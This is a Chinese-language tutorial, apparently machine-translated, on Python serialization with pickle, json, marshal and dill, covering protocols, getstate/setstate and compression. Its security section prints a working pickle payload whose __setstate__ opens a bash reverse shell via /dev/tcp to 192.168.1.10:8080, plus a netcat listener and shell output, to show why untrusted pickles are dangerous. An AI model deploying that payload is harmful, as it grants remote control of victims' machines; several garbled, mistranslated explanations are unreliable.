Python 的pickle模塊

開發人員有時可能希望通過網絡發送一些複雜的對象命令,並將對象的內部狀態保存到磁盤或數據庫中,以便以後使用。為了實現這一點,開發人員可以使用標準庫支持的序列化過程,這是 Python pickle模塊的原因。

在本教程中,我們將討論對象的序列化和反序列化,以及用戶應該使用哪個模塊來序列化 python 中的對象。對象的種類可以通過使用 python 中的 pickle模塊來序列化。我們還將解釋如何使用 pickle模塊序列化對象層次結構,以及開發人員在從不受信任的來源反序列化對象時可能面臨哪些風險?

Python 中的序列化

序列化的過程是將數據結構轉換成線性形式,可以通過網絡存儲或傳輸。

在 Python 中,序列化允許開發人員將複雜的對象結構轉換成可以保存在磁盤中或可以通過網絡發送的位元組流。開發者可以把這個過程稱為編組。而反序列化是序列化的反向過程,用戶獲取位元組流並將其轉換為數據結構。這個過程可以稱為解組。

開發人員可以在許多不同的情況下使用序列化。其中之一是在處理完訓練階段後保存神經網絡的內部狀態,這樣他們以後就可以使用該狀態,而不必再次進行訓練。

在 Python 中,標準庫中有三個模塊,允許開發人員序列化和反序列化對象:

  1. 泡菜模塊
  2. 編組模塊
  3. json 模塊

Python 還支持 XML ,開發人員可以使用它來序列化對象。

json 模塊是三個模塊中的最新模塊。這允許開發人員在標準 JSON 文件旁邊工作。Json 是最適合也是最常用的數據交換格式。

選擇 JSON 格式的原因有很多:

  • 它是人類可讀的
  • 它是獨立於語言的
  • 它比 XML 更輕

使用 json Module,開發人員可以序列化和反序列化不同的標準 Python 類型:

  • 目錄
  • 字典
  • (同 Internationalorganizations)國際組織
  • 元組
  • 彎曲件
  • 漂浮物
  • 沒有人

這三個模塊中最老的模塊是封送模塊。它的主要目的是讀寫 Python 模塊的編譯位元組碼。解釋器導入 Python 模塊時開發人員得到的 pyc 文件。因此,開發人員可以使用封送模塊來序列化不建議使用的對象。

Python 的 pickle模塊是 Python 中序列化和反序列化對象的另一種方法。這不同於 json 模塊。該對象以二進制格式序列化,其結果不可讀。儘管如此,它比其他類型更快,並且可以與許多其他 python 類型一起工作,包括開發人員的自定義對象。

因此,開發人員可以使用許多不同的方法來序列化和反序列化 Python 中的對象。總結哪種方法適合開發人員的情況的三個重要準則是:

  1. 不要使用封送模塊,因為它主要由解釋器使用。官方文檔警告說,Python 的維護者可以修改向後不兼容類型的格式。
  2. 如果開發人員想要與不同語言和人類可讀格式的互操作性,XML 和 json 模塊是安全的選擇。
  3. Python pickle模塊是所有剩餘案例的最佳選擇。假設開發人員不想要人類可讀的格式和標準的可互操作的格式。它們需要序列化自定義對象。然後他們可以選擇泡菜模塊。

泡菜模塊內部

python 的 pickle模塊包含四種方法:

  1. 轉儲(對象、文件、協議=無,*修復導入=真,緩衝回調=無)
  2. 轉儲(對象,協議=無,*修復 導入=真,緩衝區 回調=無)
  3. 加載(文件,* fix _ imports = True,編碼=「ASCII」,錯誤=「嚴格」,緩衝區=無)
  4. 加載(bytesobject,* fix imports = True,編碼=「ASCII」,錯誤=「嚴格」,緩衝區=無)

前兩種方法用於酸洗過程,後兩種方法用於拆線過程。

dump()和 dump()的區別在於 dump()創建包含序列化結果的文件,而 dump()返回字符串。

對於 dump()和 dump()的區別,開發人員可以記住,在 dump()函數中,「s」代表字符串。

相同的概念可以應用於 load()和 loads()函數。load()函數用於為取消鎖定過程讀取文件,loads()函數對字符串進行操作。

假設用戶有一個名為的自定義類,例如 _class ,它有許多不同的屬性,每個屬性都有不同的類型:

  • 數字
  • 字符串
  • 列表
  • 字典
  • 元組

下面的示例解釋了用戶如何實例化該類並提取實例來獲取普通字符串。對類進行酸洗後,用戶可以修改其屬性值,而不會影響酸洗後的字符串。用戶隨後可以在另一個變量中解開之前被腌制的字符串,並恢復腌制類的副本。

例如:


# pickle.py
import pickle

class forexample_class:
    the_number = 25
    the_string = " hello"
    the_list = [ 1, 2, 3 ]
    the_dict = { " first ": " a ", " second ": 2, " third ": [ 1, 2, 3 ] }
    the_tuple = ( 22, 23 )

user_object = forexample_class()

user_pickled_object = pickle.dumps( user_object )  # here, user is Pickling the object
print( f" This is user's pickled object: \n { user_pickled_object } \n " )

user_object.the_dict = None

user_unpickled_object = pickle.loads( user_pickled_object )  # here, user is Unpickling the object
print(
    f" This is the_dict of the unpickled object: \n { user_unpickled_object.the_dict } \n " )

輸出:

This is user's pickled object: 
 b' \x80 \x04 \x95$ \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \x08__main__ \x94 \x8c \x10forexample_class \x94 \x93 \x94) \x81 \x94\. ' 

 This is the_dict of the unpickled object: 
 {' first ': ' a ', ' second ': 2, ' third ': [ 1, 2, 3 ] } 

示例-

解釋

這裡,酸洗的過程已經正確結束,它將用戶的整個實例存儲在字符串中:b ‘ \ X80 \ x04 \ x95 $ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x8c \ x08 main \ x94 \ x8c \ x10forexample _ class \ x94 \ x93 \ x94)\ x81 \ x94 ‘完成酸洗過程後,用戶可以更改其原始對象,使 _dict 屬性等於無。

現在,用戶可以將字符串解固定到全新的實例中。當用戶從酸洗對象的過程開始時獲得其原始對象結構的深度副本時。

Python 中 pickle模塊的協議格式

pickle模塊是 python 特有的,它的結果只能被另一個 python 程序讀取。雖然開發人員可能正在使用 python,但他們應該知道 pickle模塊現在已經很先進了。

這意味着,如果開發人員已經用 python 的某個特定版本修改了對象,他們可能無法用以前的版本解除對象的鎖定。

這種兼容性取決於開發人員在酸洗過程中使用的協議版本。

python 的 pickle模塊可以使用六種不同的協議。拆封最新 python 解釋器的要求與協議版本的高度成正比。

  1. 協議版本 0 – 是第一個版本。它不像其他協議那樣是人類可讀的
  2. 協議版本 1 – 它是第一個二進制格式。
  3. 協議版本 2 – 在 Python 2.3 中引入。
  4. 協議版本 3 – 在 Python 3.0 中加入。Python 2.x 版本無法解除鎖定。
  5. 協議版本 4 – 在 Python 3.4 中加入。它支持更大範圍的對象大小和類型,並且是從 Python 3.8 開始的默認協議。
  6. 協議版本 5 – 在 Python 3.8 中加入。它支持帶外數據,並提高了帶內數據的速度。

要選擇特定的協議,開發人員必須在調用 dump()、dump()、load()或 loads()函數時指定協議版本。如果他們沒有指定協議,他們的解釋器將使用泡菜中指定的默認版本。DEFAULT_PROTOCOL 屬性。

可摘和不可摘的類型

我們已經討論過,python 的 pickle模塊可以序列化比 json 模塊多得多的類型,儘管並非所有東西都是可挑選的。

可解鎖對象的列表還包含數據庫連接、正在運行的線程、打開的網絡套接字以及許多其他內容。

如果用戶被不可拆卸的物體卡住了,那麼他們就沒什麼辦法了。他們的第一個選擇是使用第三部分庫,例如 dill 。

蒔蘿庫可以擴展泡菜的功能。這個庫可以讓用戶序列化更少的常見類型,如帶有 yields 的函數、lambdas、嵌套函數等等。

為了測試這個模塊,用戶可以嘗試修改 lambda 函數。

例如:


# pickle_error.py
import pickle

squaring = lambda x : x * x
user_pickle = pickle.dumps( squaring )

如果用戶試圖運行這段代碼,他們會得到一個異常,因為 python 的 pickle模塊不能序列化 lambda 函數。

輸出:

PicklingError                             Traceback (most recent call last)
<ipython-input-9-1141f36c69b9> in <module>
      3 
      4 squaring = lambda x : x * x
----> 5 user_pickle = pickle.dumps(squaring)

PicklingError: Can't pickle <function <lambda> at 0x000001F1581DEE50>: attribute lookup <lambda> on __main__ failed

現在,如果用戶用蒔蘿庫替換 pickle模塊,他們就能看出區別。

例如:


# pickle_dill.py
import dill

squaring = lambda x: x * x
user_pickle = dill.dumps( squaring )
print( user_pickle )

運行上述程序後,用戶可以看到 dill 庫已經序列化了 lambda 函數,沒有任何錯誤。

輸出:

b' \x80 \x04 \x95 \xb2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \ndill._dill \x94 \x8c \x10_create_function \x94 \x93 \x94 ( h \x00 \x8c \x0c_create_code \x94 \x93 \x94 ( K \x01K \x00K \x00K \x01K \x02KCC \x08| \x00| \x00 \x14 \x00S \x00 \x94N \x85 \x94 ) \x8c \x01x \x94 \x85 \x94 \x8c \x1f< ipython-input-11-30f1c8d0e50d > \x94 \x8c \x08< lambda > \x94K \x04C \x00 \x94 ) )t \x94R \x94c__builtin__ \n__main__ \nh \nNN } \x94Nt \x94R \x94\. '

dill 庫還有一個有趣的特性,比如它可以序列化整個解釋器會話。

例如:


squaring = lambda x : x * x
p = squaring( 25 )
import math
q = math.sqrt ( 139 )
import dill
dill.dump_session( ' testing.pkl ' )
exit()

在上面的例子中,用戶啟動了解釋器,導入了模塊,然後定義了 lambda 函數和一些其他變量。然後,他們導入了 dill 庫,並調用 dump_session()函數來序列化整個會話。

如果用戶已經正確運行了代碼,那麼他們將會在當前目錄中獲得 testing.pkl 文件。

輸出:

$ ls testing.pkl
4 [email protected] 1 dave  staff  493 Feb  12 09:52 testing.pkl

現在,用戶可以啟動解釋器的新實例,並加載 testing.pkl 文件,以便進行最後一次會話。

例如:


globals().items()

輸出:

dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , ' globals().items() ' ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\Users \\User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , ' globals().items() ' ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , ' globals().items() ' ) ] )

import dill
dill.load_session( ' testing.pkl ' )
globals().items()

輸出:

dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , " squaring = lambda x : x * x \na = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\ Users\\ User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math\nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ) , ( ' _1 ' , dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) 

p

輸出:

625

q

輸出:

22.0

squaring

輸出:

(x)> 

這裡,第一個全局變量是()。item()語句揭示了解釋器處於初始狀態,這意味着開發人員必須導入 dill 庫並調用 load_session()來恢復他們的序列化解釋器會話。

開發人員應該記住,如果他們使用的是 dill 庫而不是 pickle模塊,那麼這個標準庫不包括 dill 庫。它比泡菜模塊慢。

Dill 庫可以序列化比 pickle模塊更廣泛的對象,但它不能解決開發人員可能面臨的所有序列化問題。如果開發人員想要序列化包含數據庫連接的對象,那麼他們就不能使用 dill 庫。這是 dill 庫的未序列化對象。

這個問題的解決方案是在序列化過程中排除對象,以便在對象被反序列化後重新初始化連接。

開發人員可以使用 getstate()來定義哪些對象應該包含在酸洗過程中等等。這個方法允許開發人員指定他們想要腌制什麼。如果它們不覆蓋 getstate(),那麼將使用 dict(),這是一個默認實例。

在下面的示例中,用戶用幾個屬性定義了類,然後使用 getstate()排除了序列化過程的一個屬性。

例如:


# custom_pickle.py

import pickle

class foobar:
    def __init__( self ):
        self.p = 25
        self.q = " testing "
        self.r = lambda x: x * x

    def __getstate__( self ):
        attribute = self.__dict__.copy()
        del attribute[ 'r' ]
        return attribute

user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )

print( user_new_instance.__dict__ )

在上面的例子中,用戶已經創建了具有三個屬性的對象,其中一個屬性是 lambda,它是 pickle模塊的一個不可解鎖的對象。為了解決這個問題,他們在 getstate()中指定了 pickle 的屬性。用戶已經克隆了實例的 whole dict 來定義類中的所有屬性,然後他們刪除了不可鎖定的屬性「r」。

運行此代碼並反序列化對象後,用戶可以看到新實例不包含「r」屬性。

輸出:

{'p': 25, 'q': ' testing '}

但是,如果用戶想要在取消鎖定過程中進行額外的初始化,例如將排除的「r」屬性添加回反序列化的實例。他們可以通過使用 setstate()函數來實現這一點。

例如:


# custom_unpickle.py
import pickle

class foobar:
    def __init__( self ):
        self.p = 25
        self.q = " testing "
        self.r = lambda x: x * x

    def __getstate__( self ):
        attribute = self.__dict__.copy()
        del attribute[ 'r' ]
        return attribute

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )

在這裡,繞過排除屬性「r」到 setstate(),用戶確保了對象將出現在取消鎖定字符串的 dict 中。

輸出:

{' p ': 25, ' q ': ' testing ', ' r ': < function foobar.__setstate__.< locals >.< lambda > at 0x000001F2CB063700 > }

泡菜對象的壓縮

pickle 數據格式是對象結構的緊湊二進制表示,但是用戶仍然可以通過用 bzip2 或 gzip 壓縮來優化他們的 pickle 字符串。

為了用 bzip2 壓縮腌制的字符串,用戶必須使用 bz2模塊,該模塊在 python 的標準庫中提供。

例如,用戶已經獲取了字符串,並將對其進行酸洗,然後使用 bz2模塊對其進行壓縮。

例如:


import pickle
import bz2
user_string = """Per me si va ne la citt dolente,
per me si va ne l'etterno dolore,
per me si va tra la perduta gente.
Giustizia mosse il mio alto fattore:
fecemi la divina podestate,
la somma sapienza e 'l primo amore;
dinanzi a me non fuor cose create
se non etterne, e io etterno duro.
Lasciate ogne speranza, voi ch'intrate."""
pickling = pickle.dumps( user_string )
compressed = bz2.compress( pickling )
len( user_string )

輸出:

312
len( compressed )

輸出:

262

用戶應該記住,較小的文件是以較慢的進程為代價的。

酸洗模塊的安全問題

到目前為止,我們已經討論了如何使用 pickle模塊來序列化和反序列化 Python 中的對象。當開發人員想要將他們對象的狀態保存到磁盤或通過網絡傳輸時,序列化的過程很方便。
雖然,關於 python 的 pickle模塊,還有一點開發者應該知道的,那就是它不是很安全。如前所述,我們已經討論了 setstate()函數的使用。此方法最適合在取消鎖定過程中執行更多初始化。儘管如此,它也用於在拆線過程中執行任意代碼。
一個開發者沒什麼辦法可以降低風險。基本規則是開發人員永遠不要解開來自不可信來源或通過不安全網絡傳輸的數據。為了防止攻擊,用戶可以使用像 hmac 這樣的庫對數據進行簽名,並確保它沒有被篡改。

例如:

看看如何解除篡改泡菜可以暴露用戶的系統給攻擊者。


# remote.py
import pickle
import os

class foobar:
    def __init__( self ):
        pass

    def __getstate__( self ):
        return self.__dict__

    def __setstate__( self, state ):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')

user_foobar = foobar()
user_pickle = pickle.dumps( user_foobar )
user_unpickle = pickle.loads( user_pickle )

示例-

在上面的例子中,解除鎖定的過程已經執行了 setstate(),它將執行一個 Bash 命令,打開端口 8080 上的 192.168.1.10 系統的遠程 shell。

這就是用戶如何在他們的蘋果電腦或 Linux 盒子上安全地測試腳本。首先,他們必須打開終端,然後使用 nc 命令列出到端口 8080 的連接。

例如:


$ nc -l 8080

這個終端是為攻擊者準備的。

然後,用戶必須在同一計算機系統上打開另一個終端,並執行 python 代碼來拆封惡意代碼。

用戶必須確保他們必須將代碼中的 IP 地址更改為攻擊終端的 IP 地址。執行代碼後,Shell 暴露給攻擊者。


remote.py

現在,攻擊控制台上會出現一個 bash shell。這個控制台現在可以直接在被攻擊的系統上操作。

例如:


$ nc -l 8080

輸出:

bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run ` chsh -s /bin /zsh`.
For more details, please visit https://support.apple.com /kb /HT208060.
bash-3.1$

結論:

本文討論了如何使用 python 的不同模塊來序列化和反序列化對象,以及 pickle模塊為什麼比其他模塊更好。我們還解釋了一些物體是如何無法解開的,以及我們如何避免這些物體帶來的問題。


原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/245095.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-12 13:05
下一篇 2024-12-12 13:06

相關推薦

  • Python計算陽曆日期對應周幾

    本文介紹如何通過Python計算任意陽曆日期對應周幾。 一、獲取日期 獲取日期可以通過Python內置的模塊datetime實現,示例代碼如下: from datetime imp…

    編程 2025-04-29
  • Python周杰倫代碼用法介紹

    本文將從多個方面對Python周杰倫代碼進行詳細的闡述。 一、代碼介紹 from urllib.request import urlopen from bs4 import Bea…

    編程 2025-04-29
  • 如何查看Anaconda中Python路徑

    對Anaconda中Python路徑即conda環境的查看進行詳細的闡述。 一、使用命令行查看 1、在Windows系統中,可以使用命令提示符(cmd)或者Anaconda Pro…

    編程 2025-04-29
  • Python中引入上一級目錄中函數

    Python中經常需要調用其他文件夾中的模塊或函數,其中一個常見的操作是引入上一級目錄中的函數。在此,我們將從多個角度詳細解釋如何在Python中引入上一級目錄的函數。 一、加入環…

    編程 2025-04-29
  • Python列表中負數的個數

    Python列表是一個有序的集合,可以存儲多個不同類型的元素。而負數是指小於0的整數。在Python列表中,我們想要找到負數的個數,可以通過以下幾個方面進行實現。 一、使用循環遍歷…

    編程 2025-04-29
  • python強行終止程序快捷鍵

    本文將從多個方面對python強行終止程序快捷鍵進行詳細闡述,並提供相應代碼示例。 一、Ctrl+C快捷鍵 Ctrl+C快捷鍵是在終端中經常用來強行終止運行的程序。當你在終端中運行…

    編程 2025-04-29
  • Python清華鏡像下載

    Python清華鏡像是一個高質量的Python開發資源鏡像站,提供了Python及其相關的開發工具、框架和文檔的下載服務。本文將從以下幾個方面對Python清華鏡像下載進行詳細的闡…

    編程 2025-04-29
  • Python字典去重複工具

    使用Python語言編寫字典去重複工具,可幫助用戶快速去重複。 一、字典去重複工具的需求 在使用Python編寫程序時,我們經常需要處理數據文件,其中包含了大量的重複數據。為了方便…

    編程 2025-04-29
  • Python程序需要編譯才能執行

    Python 被廣泛應用於數據分析、人工智能、科學計算等領域,它的靈活性和簡單易學的性質使得越來越多的人喜歡使用 Python 進行編程。然而,在 Python 中程序執行的方式不…

    編程 2025-04-29
  • 蝴蝶優化算法Python版

    蝴蝶優化算法是一種基於仿生學的優化算法,模仿自然界中的蝴蝶進行搜索。它可以應用於多個領域的優化問題,包括數學優化、工程問題、機器學習等。本文將從多個方面對蝴蝶優化算法Python版…

    編程 2025-04-29

發表回復

登錄後才能評論